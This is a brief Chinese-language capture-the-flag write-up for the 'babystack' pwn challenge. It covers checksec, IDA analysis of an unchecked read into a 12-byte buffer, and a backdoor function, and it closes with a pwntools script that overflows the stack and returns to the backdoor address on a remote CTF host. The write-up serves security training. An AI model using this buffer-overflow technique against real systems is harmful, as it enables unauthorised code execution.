导语

确实baby stack

babystack

先checksec

1677489172635

拖进IDA

1677489224444

先输入一个数字,作为nbytes,然后在read nbytes个进buf,没有进行长度检查,硬read。

还可以看到一个backdoor函数

1677489688250

于是栈溢出

1677489377210

虽然上面IDA显示的是buf[12],但是我们看一眼栈就知道需要用4个db=16字节填满buf,然后一个p64填充ebp,再填backdoor的地址

from pwn import *

sla=lambda x,y:sh.sendlineafter(x,y)

sh=remote("node4.buuoj.cn",27836)
payload='A'*16+p64(0)+p64(0x4006e6)
sla('name:','100')
sla('name?',payload)
sh.interactive()

1677490744735